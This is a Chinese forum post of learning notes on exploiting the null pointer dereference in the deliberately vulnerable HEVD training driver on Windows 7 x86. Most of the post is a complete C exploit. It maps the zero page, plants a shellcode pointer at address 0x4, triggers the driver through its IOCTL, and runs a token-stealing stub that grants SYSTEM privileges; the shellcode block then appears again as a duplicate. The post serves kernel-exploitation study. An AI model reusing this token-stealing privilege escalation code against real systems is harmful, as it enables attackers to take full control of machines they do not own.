首页
社区
课程
招聘
[原创]初探内核漏洞:HEVD学习笔记——NullPointerDereference
发表于: 2022-7-19 21:44 9606

[原创]初探内核漏洞:HEVD学习笔记——NullPointerDereference

2022-7-19 21:44
9606

环境
靶机:win7 x86 sp1
工具:VirualKD、IDA

空指针Null Pointer指向0地址空间,如果不加判断就对其进行引用,会造成不可预知的后果。我们可以在0地址写入shellcode,通过调用空指针执行。

图片描述
从函数TriggerNullPointerDereference的反汇编中可以看到,释放PoolWithTag之后依然对PoolWithTag[1]进行调用,此时其实是对0x00000004地址进行调用:
图片描述
那么利用方法就是,在0x00000004地址处写入我们的shellcode的地址,然后通过IO控制码0x22202b与HEVD驱动通信,随便传入不为0的用户缓冲区即可。

用到之前在池溢出中申请0页地址的方法。
完整利用代码:

运行客户端程序,提权成功:
图片描述

参考文章
windows内核之Null指针解引用(四)

#include<stdio.h>
#include<Windows.h>
 
// 1.设置符号链接名称
#define DEVICE_LINK_NAME L"\\\\.\\HackSysExtremeVulnerableDriver"
 
// 2.控制码定义(与0环一样)
#define HEVD_NULL_POINTER_DEREFERENCE 0x22202B
 
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
 
typedef NTSTATUS
(WINAPI* My_NtAllocateVirtualMemory)(
    IN HANDLE ProcessHandle,
    IN OUT PVOID* BaseAddress,
    IN ULONG ZeroBits,
    IN OUT PULONG RegionSize,
    IN ULONG AllocationType,
    IN ULONG Protect
    );
My_NtAllocateVirtualMemory NtAllocateVirtualMemory = NULL;
 
static VOID shellcode() {
    // No Need of Kernel Recovery as we are not corrupting anything
    __asm {
        //int 3
        pop edi; //这里注意堆栈平衡
        pop esi; //这里注意堆栈平衡
        pop ebx; //这里注意堆栈平衡
        pushad; Save registers state
 
        ; Start of Token Stealing Stub
        xor eax, eax; Set ZERO
        mov eax, fs: [eax + KTHREAD_OFFSET] ; Get nt!_KPCR.PcrbData.CurrentThread
        ; _KTHREAD is located at FS : [0x124]
 
        mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process
 
        mov ecx, eax; Copy current process _EPROCESS structure
 
        mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM process PID = 0x4
 
        SearchSystemPID:
        mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
            sub eax, FLINK_OFFSET
            cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId
            jne SearchSystemPID
 
            mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
            mov[ecx + TOKEN_OFFSET], edx; Replace target process nt!_EPROCESS.Token
            ; with SYSTEM process nt!_EPROCESS.Token
            ; End of Token Stealing Stub
 
            popad; Restore registers state
            ret
    }
}
 
VOID EXP_NullPointerDereference() {
    // 3.CreateFile打开符号链接得到设备句柄
    HANDLE hDevice = NULL;
    hDevice = CreateFile(DEVICE_LINK_NAME,
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
        NULL);
    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("[-] Error - Unable to obtain a handle to the driver, error code %d\n", GetLastError());
        exit(1);
    }
    // 4.DeviceIoControl0环发请求并接收返回结果
    DWORD dwRet = 0;
    char exp_NullPointerDereference[4] = { 0 };
    memset(exp_NullPointerDereference, 'A', sizeof(exp_NullPointerDereference));
 
    // 4.2 申请0页内存空间
    PVOID Zero_addr = (PVOID)1;
    SIZE_T RegionSize = 0x1000;
 
    *(FARPROC*)&NtAllocateVirtualMemory = GetProcAddress(
        GetModuleHandleW(L"ntdll"),
        "NtAllocateVirtualMemory");
 
    if (NtAllocateVirtualMemory == NULL)
    {
        system("pause");
    }
 
    //通过NtAllocateVirtualMemory来申请0页内存空间
    if (!NT_SUCCESS(NtAllocateVirtualMemory(
        INVALID_HANDLE_VALUE,
        &Zero_addr,
        0,
        &RegionSize,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE)) || Zero_addr != NULL)
    {
        system("pause");
    }
 
    // 4.3 利用点处shellcode地址覆盖
    //0+0x4偏移成员CloseProcedure设置为我们shellcode地址
    *(DWORD*)(0x4) = (DWORD)&shellcode;
    DeviceIoControl(hDevice, HEVD_NULL_POINTER_DEREFERENCE, exp_NullPointerDereference, \
        4, NULL, 0, &dwRet, NULL);
 
    system("cmd.exe");
 
}
 
int main() {
    EXP_NullPointerDereference();
    return 0;
}
#include<stdio.h>
#include<Windows.h>
 
// 1.设置符号链接名称
#define DEVICE_LINK_NAME L"\\\\.\\HackSysExtremeVulnerableDriver"
 
// 2.控制码定义(与0环一样)
#define HEVD_NULL_POINTER_DEREFERENCE 0x22202B
 
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
 
typedef NTSTATUS
(WINAPI* My_NtAllocateVirtualMemory)(
    IN HANDLE ProcessHandle,
    IN OUT PVOID* BaseAddress,
    IN ULONG ZeroBits,
    IN OUT PULONG RegionSize,
    IN ULONG AllocationType,
    IN ULONG Protect
    );
My_NtAllocateVirtualMemory NtAllocateVirtualMemory = NULL;
 
static VOID shellcode() {
    // No Need of Kernel Recovery as we are not corrupting anything
    __asm {
        //int 3
        pop edi; //这里注意堆栈平衡
        pop esi; //这里注意堆栈平衡
        pop ebx; //这里注意堆栈平衡
        pushad; Save registers state
 
        ; Start of Token Stealing Stub
        xor eax, eax; Set ZERO
        mov eax, fs: [eax + KTHREAD_OFFSET] ; Get nt!_KPCR.PcrbData.CurrentThread
        ; _KTHREAD is located at FS : [0x124]
 
        mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process
 
        mov ecx, eax; Copy current process _EPROCESS structure
 
        mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM process PID = 0x4
 
        SearchSystemPID:
        mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
            sub eax, FLINK_OFFSET
            cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId
            jne SearchSystemPID
 
            mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
            mov[ecx + TOKEN_OFFSET], edx; Replace target process nt!_EPROCESS.Token
            ; with SYSTEM process nt!_EPROCESS.Token
            ; End of Token Stealing Stub
 
            popad; Restore registers state
            ret
    }
}

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 4
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//